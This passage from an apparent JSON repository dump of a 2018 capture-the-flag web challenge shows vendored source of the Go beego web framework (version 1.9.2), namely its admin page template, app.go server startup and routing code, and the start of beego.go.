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\"/>\n</a>\n\n</div>\n<nav class=\"collapse navbar-collapse bs-navbar-collapse\" role=\"navigation\">\n<ul class=\"nav navbar-nav\">\n<li>\n<a href=\"/qps\">\nRequests statistics\n</a>\n</li>\n<li>\n\n<li class=\"dropdown\">\n<a href=\"#\" class=\"dropdown-toggle disabled\" data-toggle=\"dropdown\">Performance profiling<span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\" role=\"menu\">\n\n<li><a href=\"/prof?command=lookup goroutine\">lookup goroutine</a></li>\n<li><a href=\"/prof?command=lookup heap\">lookup heap</a></li>\n<li><a href=\"/prof?command=lookup threadcreate\">lookup threadcreate</a></li>\n<li><a href=\"/prof?command=lookup block\">lookup block</a></li>\n<li><a href=\"/prof?command=get cpuprof\">get cpuprof</a></li>\n<li><a href=\"/prof?command=get memprof\">get memprof</a></li>\n<li><a href=\"/prof?command=gc summary\">gc summary</a></li>\n\n</ul>\n</li>\n\n<li>\n<a href=\"/healthcheck\">\nHealthcheck\n</a>\n</li>\n\n<li>\n<a href=\"/task\" class=\"dropdown-toggle disabled\" data-toggle=\"dropdown\">Tasks</a>\n</li>\n\n<li class=\"dropdown\">\n<a href=\"#\" class=\"dropdown-toggle disabled\" data-toggle=\"dropdown\">Config Status<span class=\"caret\"></span></a>\n<ul class=\"dropdown-menu\" role=\"menu\">\n<li><a href=\"/listconf?command=conf\">Configs</a></li>\n<li><a href=\"/listconf?command=router\">Routers</a></li>\n<li><a href=\"/listconf?command=filter\">Filters</a></li>\n</ul>\n</li>\n</ul>\n</nav>\n</div>\n</header>\n\n<div class=\"container\">\n{{template \"content\" .}}\n</div>\n\n<script src=\"//code.jquery.com/jquery-1.11.1.min.js\"></script>\n<script src=\"//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/js/bootstrap.min.js\"></script>\n<script src=\"//cdn.datatables.net/1.10.2/js/jquery.dataTables.min.js\"></script>\n<script src=\"//cdn.datatables.net/plug-ins/725b2a2115b/integration/bootstrap/3/dataTables.bootstrap.js\n\"></script>\n\n<script type=\"text/javascript\">\n$(document).ready(function() {\n    $('.table').dataTable();\n});\n</script>\n{{template \"scripts\" .}}\n</body>\n</html>\n`\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/app.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/fcgi\"\n\t\"os\"\n\t\"path\"\n\t\"time\"\n\t\"strings\"\n\n\t\"github.com/astaxie/beego/grace\"\n\t\"github.com/astaxie/beego/logs\"\n\t\"github.com/astaxie/beego/utils\"\n)\n\nvar (\n\t// BeeApp is an application instance\n\tBeeApp *App\n)\n\nfunc init() {\n\t// create beego application\n\tBeeApp = NewApp()\n}\n\n// App defines beego application with a new PatternServeMux.\ntype App struct {\n\tHandlers *ControllerRegister\n\tServer   *http.Server\n}\n\n// NewApp returns a new beego application.\nfunc NewApp() *App {\n\tcr := NewControllerRegister()\n\tapp := &App{Handlers: cr, Server: &http.Server{}}\n\treturn app\n}\n\n// MiddleWare function for http.Handler\ntype MiddleWare func(http.Handler) http.Handler\n\n// Run beego application.\nfunc (app *App) Run(mws ...MiddleWare) {\n\taddr := BConfig.Listen.HTTPAddr\n\n\tif BConfig.Listen.HTTPPort != 0 {\n\t\taddr = fmt.Sprintf(\"%s:%d\", BConfig.Listen.HTTPAddr, BConfig.Listen.HTTPPort)\n\t}\n\n\tvar (\n\t\terr        error\n\t\tl          net.Listener\n\t\tendRunning = make(chan bool, 1)\n\t)\n\n\t// run cgi server\n\tif BConfig.Listen.EnableFcgi {\n\t\tif BConfig.Listen.EnableStdIo {\n\t\t\tif err = fcgi.Serve(nil, app.Handlers); err == nil { // standard I/O\n\t\t\t\tlogs.Info(\"Use FCGI via standard I/O\")\n\t\t\t} else {\n\t\t\t\tlogs.Critical(\"Cannot use FCGI via standard I/O\", err)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tif BConfig.Listen.HTTPPort == 0 {\n\t\t\t// remove the Socket file before start\n\t\t\tif utils.FileExists(addr) {\n\t\t\t\tos.Remove(addr)\n\t\t\t}\n\t\t\tl, err = net.Listen(\"unix\", addr)\n\t\t} else {\n\t\t\tl, err = net.Listen(\"tcp\", addr)\n\t\t}\n\t\tif err != nil {\n\t\t\tlogs.Critical(\"Listen: \", err)\n\t\t}\n\t\tif err = fcgi.Serve(l, app.Handlers); err != nil {\n\t\t\tlogs.Critical(\"fcgi.Serve: \", err)\n\t\t}\n\t\treturn\n\t}\n\n\tapp.Server.Handler = app.Handlers\n\tfor i:=len(mws)-1;i>=0;i-- {\n\t\tif mws[i] == nil {\n\t\t\tcontinue\n\t\t}\n\t\tapp.Server.Handler = mws[i](app.Server.Handler)\n\t}\n\tapp.Server.ReadTimeout = time.Duration(BConfig.Listen.ServerTimeOut) * time.Second\n\tapp.Server.WriteTimeout = time.Duration(BConfig.Listen.ServerTimeOut) * time.Second\n\tapp.Server.ErrorLog = logs.GetLogger(\"HTTP\")\n\n\t// run graceful mode\n\tif BConfig.Listen.Graceful {\n\t\thttpsAddr := BConfig.Listen.HTTPSAddr\n\t\tapp.Server.Addr = httpsAddr\n\t\tif BConfig.Listen.EnableHTTPS || BConfig.Listen.EnableMutualHTTPS {\n\t\t\tgo func() {\n\t\t\t\ttime.Sleep(20 * time.Microsecond)\n\t\t\t\tif BConfig.Listen.HTTPSPort != 0 {\n\t\t\t\t\thttpsAddr = fmt.Sprintf(\"%s:%d\", BConfig.Listen.HTTPSAddr, BConfig.Listen.HTTPSPort)\n\t\t\t\t\tapp.Server.Addr = httpsAddr\n\t\t\t\t}\n\t\t\t\tserver := grace.NewServer(httpsAddr, app.Handlers)\n\t\t\t\tserver.Server.ReadTimeout = app.Server.ReadTimeout\n\t\t\t\tserver.Server.WriteTimeout = app.Server.WriteTimeout\n\t\t\t\tif BConfig.Listen.EnableMutualHTTPS {\n\n\t\t\t\t\tif err := server.ListenAndServeMutualTLS(BConfig.Listen.HTTPSCertFile, BConfig.Listen.HTTPSKeyFile, BConfig.Listen.TrustCaFile); err != nil {\n\t\t\t\t\t\tlogs.Critical(\"ListenAndServeTLS: \", err, fmt.Sprintf(\"%d\", os.Getpid()))\n\t\t\t\t\t\ttime.Sleep(100 * time.Microsecond)\n\t\t\t\t\t\tendRunning <- true\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif err := server.ListenAndServeTLS(BConfig.Listen.HTTPSCertFile, BConfig.Listen.HTTPSKeyFile); err != nil {\n\t\t\t\t\t\tlogs.Critical(\"ListenAndServeTLS: \", err, fmt.Sprintf(\"%d\", os.Getpid()))\n\t\t\t\t\t\ttime.Sleep(100 * time.Microsecond)\n\t\t\t\t\t\tendRunning <- true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\t\tif BConfig.Listen.EnableHTTP {\n\t\t\tgo func() {\n\t\t\t\tserver := grace.NewServer(addr, app.Handlers)\n\t\t\t\tserver.Server.ReadTimeout = app.Server.ReadTimeout\n\t\t\t\tserver.Server.WriteTimeout = app.Server.WriteTimeout\n\t\t\t\tif BConfig.Listen.ListenTCP4 {\n\t\t\t\t\tserver.Network = \"tcp4\"\n\t\t\t\t}\n\t\t\t\tif err := server.ListenAndServe(); err != nil {\n\t\t\t\t\tlogs.Critical(\"ListenAndServe: \", err, fmt.Sprintf(\"%d\", os.Getpid()))\n\t\t\t\t\ttime.Sleep(100 * time.Microsecond)\n\t\t\t\t\tendRunning <- true\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\t\t<-endRunning\n\t\treturn\n\t}\n\n\t// run normal mode\n\tif BConfig.Listen.EnableHTTPS || BConfig.Listen.EnableMutualHTTPS {\n\t\tgo func() {\n\t\t\ttime.Sleep(20 * time.Microsecond)\n\t\t\tif BConfig.Listen.HTTPSPort != 0 {\n\t\t\t\tapp.Server.Addr = fmt.Sprintf(\"%s:%d\", BConfig.Listen.HTTPSAddr, BConfig.Listen.HTTPSPort)\n\t\t\t} else if BConfig.Listen.EnableHTTP {\n\t\t\t\tBeeLogger.Info(\"Start https server error, confict with http.Please reset https port\")\n\t\t\t\treturn\n\t\t\t}\n\t\t\tlogs.Info(\"https server Running on https://%s\", app.Server.Addr)\n\t\t\tif BConfig.Listen.EnableMutualHTTPS {\n\t\t\t\tpool := x509.NewCertPool()\n\t\t\t\tdata, err := ioutil.ReadFile(BConfig.Listen.TrustCaFile)\n\t\t\t\tif err != nil {\n\t\t\t\t\tBeeLogger.Info(\"MutualHTTPS should provide TrustCaFile\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tpool.AppendCertsFromPEM(data)\n\t\t\t\tapp.Server.TLSConfig = &tls.Config{\n\t\t\t\t\tClientCAs:  pool,\n\t\t\t\t\tClientAuth: tls.RequireAndVerifyClientCert,\n\t\t\t\t}\n\t\t\t}\n\t\t\tif err := app.Server.ListenAndServeTLS(BConfig.Listen.HTTPSCertFile, BConfig.Listen.HTTPSKeyFile); err != nil {\n\t\t\t\tlogs.Critical(\"ListenAndServeTLS: \", err)\n\t\t\t\ttime.Sleep(100 * time.Microsecond)\n\t\t\t\tendRunning <- true\n\t\t\t}\n\t\t}()\n\t}\n\tif BConfig.Listen.EnableHTTP {\n\t\tgo func() {\n\t\t\tapp.Server.Addr = addr\n\t\t\tlogs.Info(\"http server Running on http://%s\", app.Server.Addr)\n\t\t\tif BConfig.Listen.ListenTCP4 {\n\t\t\t\tln, err := net.Listen(\"tcp4\", app.Server.Addr)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogs.Critical(\"ListenAndServe: \", err)\n\t\t\t\t\ttime.Sleep(100 * time.Microsecond)\n\t\t\t\t\tendRunning <- true\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif err = app.Server.Serve(ln); err != nil {\n\t\t\t\t\tlogs.Critical(\"ListenAndServe: \", err)\n\t\t\t\t\ttime.Sleep(100 * time.Microsecond)\n\t\t\t\t\tendRunning <- true\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif err := app.Server.ListenAndServe(); err != nil {\n\t\t\t\t\tlogs.Critical(\"ListenAndServe: \", err)\n\t\t\t\t\ttime.Sleep(100 * time.Microsecond)\n\t\t\t\t\tendRunning <- true\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\t<-endRunning\n}\n\n// Router adds a patterned controller handler to BeeApp.\n// it's an alias method of App.Router.\n// usage:\n//  simple router\n//  beego.Router(\"/admin\", &admin.UserController{})\n//  beego.Router(\"/admin/index\", &admin.ArticleController{})\n//\n//  regex router\n//\n//  beego.Router(\"/api/:id([0-9]+)\", &controllers.RController{})\n//\n//  custom rules\n//  beego.Router(\"/api/list\",&RestController{},\"*:ListFood\")\n//  beego.Router(\"/api/create\",&RestController{},\"post:CreateFood\")\n//  beego.Router(\"/api/update\",&RestController{},\"put:UpdateFood\")\n//  beego.Router(\"/api/delete\",&RestController{},\"delete:DeleteFood\")\nfunc Router(rootpath string, c ControllerInterface, mappingMethods ...string) *App {\n\tBeeApp.Handlers.Add(rootpath, c, mappingMethods...)\n\treturn BeeApp\n}\n\n// UnregisterFixedRoute unregisters the route with the specified fixedRoute. It is particularly useful\n// in web applications that inherit most routes from a base webapp via the underscore\n// import, and aim to overwrite only certain paths.\n// The method parameter can be empty or \"*\" for all HTTP methods, or a particular\n// method type (e.g. \"GET\" or \"POST\") for selective removal.\n//\n// Usage (replace \"GET\" with \"*\" for all methods):\n//  beego.UnregisterFixedRoute(\"/yourpreviouspath\", \"GET\")\n//  beego.Router(\"/yourpreviouspath\", yourControllerAddress, \"get:GetNewPage\")\nfunc UnregisterFixedRoute(fixedRoute string, method string) *App {\n\tsubPaths := splitPath(fixedRoute)\n\tif method == \"\" || method == \"*\" {\n\t\tfor m := range HTTPMETHOD {\n\t\t\tif _, ok := BeeApp.Handlers.routers[m]; !ok {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif BeeApp.Handlers.routers[m].prefix == strings.Trim(fixedRoute, \"/ \") {\n\t\t\t\tfindAndRemoveSingleTree(BeeApp.Handlers.routers[m])\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfindAndRemoveTree(subPaths, BeeApp.Handlers.routers[m], m)\n\t\t}\n\t\treturn BeeApp\n\t}\n\t// Single HTTP method\n\tum := strings.ToUpper(method)\n\tif _, ok := BeeApp.Handlers.routers[um]; ok {\n\t\tif BeeApp.Handlers.routers[um].prefix == strings.Trim(fixedRoute, \"/ \") {\n\t\t\tfindAndRemoveSingleTree(BeeApp.Handlers.routers[um])\n\t\t\treturn BeeApp\n\t\t}\n\t\tfindAndRemoveTree(subPaths, BeeApp.Handlers.routers[um], um)\n\t}\n\treturn BeeApp\n}\n\nfunc findAndRemoveTree(paths []string, entryPointTree *Tree, method string) {\n\tfor i := range entryPointTree.fixrouters {\n\t\tif entryPointTree.fixrouters[i].prefix == paths[0] {\n\t\t\tif len(paths) == 1 {\n\t\t\t\tif len(entryPointTree.fixrouters[i].fixrouters) > 0 {\n\t\t\t\t\t// If the route had children subtrees, remove just the functional leaf,\n\t\t\t\t\t// to allow children to function as before\n\t\t\t\t\tif len(entryPointTree.fixrouters[i].leaves) > 0 {\n\t\t\t\t\t\tentryPointTree.fixrouters[i].leaves[0] = nil\n\t\t\t\t\t\tentryPointTree.fixrouters[i].leaves = entryPointTree.fixrouters[i].leaves[1:]\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// Remove the *Tree from the fixrouters slice\n\t\t\t\t\tentryPointTree.fixrouters[i] = nil\n\n\t\t\t\t\tif i == len(entryPointTree.fixrouters)-1 {\n\t\t\t\t\t\tentryPointTree.fixrouters = entryPointTree.fixrouters[:i]\n\t\t\t\t\t} else {\n\t\t\t\t\t\tentryPointTree.fixrouters = append(entryPointTree.fixrouters[:i], entryPointTree.fixrouters[i+1:len(entryPointTree.fixrouters)]...)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfindAndRemoveTree(paths[1:], entryPointTree.fixrouters[i], method)\n\t\t}\n\t}\n}\n\nfunc findAndRemoveSingleTree(entryPointTree *Tree) {\n\tif entryPointTree == nil {\n\t\treturn\n\t}\n\tif len(entryPointTree.fixrouters) > 0 {\n\t\t// If the route had children subtrees, remove just the functional leaf,\n\t\t// to allow children to function as before\n\t\tif len(entryPointTree.leaves) > 0 {\n\t\t\tentryPointTree.leaves[0] = nil\n\t\t\tentryPointTree.leaves = entryPointTree.leaves[1:]\n\t\t}\n\t}\n}\n\n// Include will generate router file in the router/xxx.go from the controller's comments\n// usage:\n// beego.Include(&BankAccount{}, &OrderController{},&RefundController{},&ReceiptController{})\n// type BankAccount struct{\n//   beego.Controller\n// }\n//\n// register the function\n// func (b *BankAccount)Mapping(){\n//  b.Mapping(\"ShowAccount\" , b.ShowAccount)\n//  b.Mapping(\"ModifyAccount\", b.ModifyAccount)\n//}\n//\n// //@router /account/:id  [get]\n// func (b *BankAccount) ShowAccount(){\n//    //logic\n// }\n//\n//\n// //@router /account/:id  [post]\n// func (b *BankAccount) ModifyAccount(){\n//    //logic\n// }\n//\n// the comments @router url methodlist\n// url support all the function Router's pattern\n// methodlist [get post head put delete options *]\nfunc Include(cList ...ControllerInterface) *App {\n\tBeeApp.Handlers.Include(cList...)\n\treturn BeeApp\n}\n\n// RESTRouter adds a restful controller handler to BeeApp.\n// its' controller implements beego.ControllerInterface and\n// defines a param \"pattern/:objectId\" to visit each resource.\nfunc RESTRouter(rootpath string, c ControllerInterface) *App {\n\tRouter(rootpath, c)\n\tRouter(path.Join(rootpath, \":objectId\"), c)\n\treturn BeeApp\n}\n\n// AutoRouter adds defined controller handler to BeeApp.\n// it's same to App.AutoRouter.\n// if beego.AddAuto(&MainContorlller{}) and MainController has methods List and Page,\n// visit the url /main/list to exec List function or /main/page to exec Page function.\nfunc AutoRouter(c ControllerInterface) *App {\n\tBeeApp.Handlers.AddAuto(c)\n\treturn BeeApp\n}\n\n// AutoPrefix adds controller handler to BeeApp with prefix.\n// it's same to App.AutoRouterWithPrefix.\n// if beego.AutoPrefix(\"/admin\",&MainContorlller{}) and MainController has methods List and Page,\n// visit the url /admin/main/list to exec List function or /admin/main/page to exec Page function.\nfunc AutoPrefix(prefix string, c ControllerInterface) *App {\n\tBeeApp.Handlers.AddAutoPrefix(prefix, c)\n\treturn BeeApp\n}\n\n// Get used to register router for Get method\n// usage:\n//    beego.Get(\"/\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc Get(rootpath string, f FilterFunc) *App {\n\tBeeApp.Handlers.Get(rootpath, f)\n\treturn BeeApp\n}\n\n// Post used to register router for Post method\n// usage:\n//    beego.Post(\"/api\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc Post(rootpath string, f FilterFunc) *App {\n\tBeeApp.Handlers.Post(rootpath, f)\n\treturn BeeApp\n}\n\n// Delete used to register router for Delete method\n// usage:\n//    beego.Delete(\"/api\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc Delete(rootpath string, f FilterFunc) *App {\n\tBeeApp.Handlers.Delete(rootpath, f)\n\treturn BeeApp\n}\n\n// Put used to register router for Put method\n// usage:\n//    beego.Put(\"/api\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc Put(rootpath string, f FilterFunc) *App {\n\tBeeApp.Handlers.Put(rootpath, f)\n\treturn BeeApp\n}\n\n// Head used to register router for Head method\n// usage:\n//    beego.Head(\"/api\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc Head(rootpath string, f FilterFunc) *App {\n\tBeeApp.Handlers.Head(rootpath, f)\n\treturn BeeApp\n}\n\n// Options used to register router for Options method\n// usage:\n//    beego.Options(\"/api\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc Options(rootpath string, f FilterFunc) *App {\n\tBeeApp.Handlers.Options(rootpath, f)\n\treturn BeeApp\n}\n\n// Patch used to register router for Patch method\n// usage:\n//    beego.Patch(\"/api\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc Patch(rootpath string, f FilterFunc) *App {\n\tBeeApp.Handlers.Patch(rootpath, f)\n\treturn BeeApp\n}\n\n// Any used to register router for all methods\n// usage:\n//    beego.Any(\"/api\", func(ctx *context.Context){\n//          ctx.Output.Body(\"hello world\")\n//    })\nfunc Any(rootpath string, f FilterFunc) *App {\n\tBeeApp.Handlers.Any(rootpath, f)\n\treturn BeeApp\n}\n\n// Handler used to register a Handler router\n// usage:\n//    beego.Handler(\"/api\", http.HandlerFunc(func (w http.ResponseWriter, r *http.Request) {\n//          fmt.Fprintf(w, \"Hello, %q\", html.EscapeString(r.URL.Path))\n//    }))\nfunc Handler(rootpath string, h http.Handler, options ...interface{}) *App {\n\tBeeApp.Handlers.Handler(rootpath, h, options...)\n\treturn BeeApp\n}\n\n// InsertFilter adds a FilterFunc with pattern condition and action constant.\n// The pos means action constant including\n// beego.BeforeStatic, beego.BeforeRouter, beego.BeforeExec, beego.AfterExec and beego.FinishRouter.\n// The bool params is for setting the returnOnOutput value (false allows multiple filters to execute)\nfunc InsertFilter(pattern string, pos int, filter FilterFunc, params ...bool) *App {\n\tBeeApp.Handlers.InsertFilter(pattern, pos, filter, params...)\n\treturn BeeApp\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/beego.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n)\n\nconst (\n\t// VERSION represent beego web framework version.\n\tVERSION = \"1.9.2\"\n\n\t// DEV is for develop\n\tDEV = \"dev\"\n\t// PROD is for production\n\tPROD = \"prod\"\n)\n\n//hook function to run\ntype hookfunc func() error\n\nvar (\n\thooks = make([]hookfunc, 0) //hook function slice to store the hookfunc\n)\n\n// AddAPPStartHook is used to register the hookfunc\n// The hookfuncs will run in beego.Run()\n// such as initiating session , starting middleware , building template, starting admin control and so on.\nfunc AddAPPStartHook(hf ...hookfunc) {\n\thooks = append(hooks, hf...)\n}\n\n// Run beego application.\n// beego.Run() default run on HttpPort\n// beego.Run(\"localhost\")\n// beego.Run(\":8089\")\n// beego.Run(\"127.0.0.1:8089\")\nfunc Run(params ...string) {\n\n\tinitBeforeHTTPRun()\n\n\tif len(params) > 0 && params[0] != \"\" {\n\t\tstrs := strings.Split(params[0], \":\")\n\t\tif len(strs) > 0 && strs[0] != \"\" {\n\t\t\tBConfig.Listen.HTTPAddr = strs[0]\n\t\t}\n\t\tif len(strs) > 1 && strs[1] != \"\" {\n\t\t\tBConfig.Listen.HTTPPort, _ = strconv.Atoi(strs[1])\n\t\t}\n\t}\n\n\tBeeApp.Run()\n}\n\n// RunWithMiddleWares Run beego application with middlewares.\nfunc RunWithMiddleWares(addr string, mws ...MiddleWare) {\n\tinitBeforeHTTPRun()\n\n\tstrs := strings.Split(addr, \":\")\n\tif len(strs) > 0 && strs[0] != \"\" {\n\t\tBConfig.Listen.HTTPAddr = strs[0]\n\t}\n\tif len(strs) > 1 && strs[1] != \"\" {\n\t\tBConfig.Listen.HTTPPort, _ = strconv.Atoi(strs[1])\n\t}\n\n\tBeeApp.Run(mws...)\n}\n\nfunc initBeforeHTTPRun() {\n\t//init hooks\n\tAddAPPStartHook(\n\t\tregisterMime,\n\t\tregisterDefaultErrorHandler,\n\t\tregisterSession,\n\t\tregisterTemplate,\n\t\tregisterAdmin,\n\t\tregisterGzip,\n\t)\n\n\tfor _, hk := range hooks {\n\t\tif err := hk(); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n}\n\n// TestBeegoInit is for test package init\nfunc TestBeegoInit(ap string) {\n\tpath := filepath.Join(ap, \"conf\", \"app.conf\")\n\tos.Chdir(ap)\n\tInitBeegoBeforeTest(path)\n}\n\n// InitBeegoBeforeTest is for test package init\nfunc InitBeegoBeforeTest(appConfigPath string) {\n\tif err := LoadAppConfig(appConfigProvider, 